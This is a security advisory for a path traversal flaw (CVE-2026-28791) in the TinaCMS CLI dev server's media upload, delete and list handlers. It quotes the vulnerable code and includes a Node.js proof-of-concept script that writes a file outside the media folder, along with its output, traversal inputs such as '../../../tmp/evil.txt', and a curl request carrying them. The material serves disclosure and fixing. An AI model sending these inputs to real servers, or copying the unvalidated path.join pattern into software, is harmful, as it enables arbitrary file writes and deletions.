Advisory

GHSA-5hxf-c7j4-279c

Also known as: CVE-2026-28791

Summary

Tina: Path Traversal in Media Upload Handle

Details

Affected Package

| Field | Value |
|-------|-------|
| Package | @tinacms/cli |
| Version | 2.0.5 (latest at time of discovery) |
| Vulnerable File | packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts |
| Vulnerable Lines | 42-43 |

---

Summary

A path traversal vulnerability (CWE-22) exists in the TinaCMS development server's media upload handler. The code at media.ts:42-43 joins user-controlled path segments using path.join() without validating that the resulting path stays within the intended media directory. This allows writing files to arbitrary locations on the filesystem.

Attack Vector: Network (HTTP POST request)
Impact: Arbitrary file write, potential Remote Code Execution

---

Details

Vulnerable Code Location

File: packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts
Lines: 42-43

bb.on('file', async (_name, file, _info) => {
  const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));  // Line 42
  const saveTo = path.join(mediaFolder, ...fullPath.split('/'));        // Line 43
  // make sure the directory exists before writing the file
  await fs.ensureDir(path.dirname(saveTo));
  file.pipe(fs.createWriteStream(saveTo));
});

Root Cause

The path.join() function resolves .. (parent directory) segments in the path. When the user-supplied path contains traversal sequences like ../../../etc/passwd, these are resolved relative to the media folder, allowing escape to arbitrary filesystem locations.

Example:

const mediaFolder = '/app/public/uploads';
const maliciousInput = '../../../tmp/evil.txt';
const saveTo = path.join(mediaFolder, ...maliciousInput.split('/'));
// Result: '/tmp/evil.txt' - OUTSIDE the media folder!

Additional Affected Endpoints

The same vulnerability pattern exists in:

  1. Delete Handler (handleDelete, lines 29-33) - Arbitrary file deletion
  2. List Handler (handleList, lines 16-27) + MediaModel.listMedia - Directory enumeration
  3. MediaModel.deleteMedia (lines 201-217) - Arbitrary file deletion

Similar code also exists in the Express version at:

  • packages/@tinacms/cli/src/server/routes/index.ts
  • packages/@tinacms/cli/src/server/models/media.ts

---

PoC

Quick Verification (No Server Required)

This Node.js script directly tests the vulnerable code logic:

#!/usr/bin/env node
/**
 * TinaCMS Path Traversal Vulnerability - Direct Code Test
 * Run: node test-vulnerability.js
 */

const path = require('path');
const fs = require('fs');

// Simulated configuration (matches typical TinaCMS setup)
const rootPath = '/tmp/tinacms-test';
const publicFolder = 'public';
const mediaRoot = 'uploads';
const mediaFolder = path.join(rootPath, publicFolder, mediaRoot);

// Setup test directories
fs.mkdirSync(path.join(rootPath, publicFolder, mediaRoot), { recursive: true });
fs.mkdirSync('/tmp/target-dir', { recursive: true });

console.log(`Media folder: ${mediaFolder}`);

// Simulate vulnerable code from media.ts:42-43
function vulnerableUpload(reqUrl) {
    const fullPath = decodeURI(reqUrl.slice('/media/upload/'.length));
    const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
    return saveTo;
}

// Test cases
const tests = [
    { url: '/media/upload/image.png', desc: 'Normal upload' },
    { url: '/media/upload/../../../tmp/target-dir/evil.txt', desc: 'Path traversal' },
];

tests.forEach(test => {
    const result = vulnerableUpload(test.url);
    const isVuln = !path.resolve(result).startsWith(path.resolve(mediaFolder));
    
    console.log(`\n${test.desc}:`);
    console.log(`  Input: ${test.url}`);
    console.log(`  Result: ${result}`);
    console.log(`  Vulnerable: ${isVuln ? 'YES ⚠️' : 'No ✓'}`);
    
    if (isVuln) {
        // Actually write the file to prove it works
        fs.mkdirSync(path.dirname(result), { recursive: true });
        fs.writeFileSync(result, `PWNED at ${new Date().toISOString()}`);
        console.log(`  File written: ${fs.existsSync(result)}`);
    }
});

// Cleanup
fs.rmSync(rootPath, { recursive: true, force: true });

Output

Media folder: /tmp/tinacms-test/public/uploads

Normal upload:
  Input: /media/upload/image.png
  Result: /tmp/tinacms-test/public/uploads/image.png
  Vulnerable: No ✓

Path traversal:
  Input: /media/upload/../../../tmp/target-dir/evil.txt
  Result: /tmp/tmp/target-dir/evil.txt
  Vulnerable: YES ⚠️
  File written: true

The file was successfully written to /tmp/tmp/target-dir/evil.txt, which is completely outside the intended media folder at /tmp/tinacms-test/public/uploads.

Important Note: HTTP Layer vs Code Vulnerability

I want to be transparent about my findings:

What I observed:

  • When testing via HTTP requests against the Vite dev server, path traversal sequences (../) are normalized by Node.js/Vite's HTTP layer *before* reaching the vulnerable code
  • This means direct HTTP exploitation like curl POST /media/upload/../../../tmp/evil.txt is mitigated in the default configuration

Why this is still a valid vulnerability that should be fixed:

  1. The code itself has no validation - If the path reaches the handler (via any vector), it will be exploited
  2. Defense-in-depth principle - Security should not rely solely on HTTP normalization
  3. Inconsistent protection - Your GraphQL layer (addPendingDocument) explicitly validates paths and rejects ../ (see test at packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:59), but the media endpoints don't have equivalent protection
  4. Different deployment contexts:
  • Reverse proxies (nginx, Apache) with proxy_pass may preserve raw paths
  • Custom server configurations
  • Future refactoring that uses this code differently
  1. The `parseMediaFolder` helper (line 66-74) shows intent to restrict paths - the upload handler should have similar restrictions
  2. Express version also affected - packages/@tinacms/cli/src/server/routes/index.ts has the same pattern

---

Evidence That Path Traversal Should Be Blocked

Your codebase already shows that path traversal is considered a security issue:

// From: packages/@tinacms/graphql/tests/pending-document-validation/index.test.ts:52-70
it('handles validation error for invalid path format', async () => {
  const { query } = await setupMutation(__dirname, config);

  const invalidPathMutation = `
    mutation {
      addPendingDocument(
        collection: "post"
        relativePath: "../invalid-path.md"  // <-- Path traversal is rejected!
      ) {
        __typename
      }
    }
  `;

  const result = await query({ query: invalidPathMutation, variables: {} });

  expect(result.errors).toBeDefined();
  expect(result.errors?.length).toBeGreaterThan(0);
});

This test explicitly verifies that ../invalid-path.md is rejected in the GraphQL layer. The media upload endpoints should have the same protection.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-03-12 18:32 UTC
Modified
2026-03-14 05:56 UTC

Affected packages and fixes

tinacms

npm · All systems

Affected

  • introduced 0, fixed 2.1.7 (semver)

Fixed versions

2.1.7

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences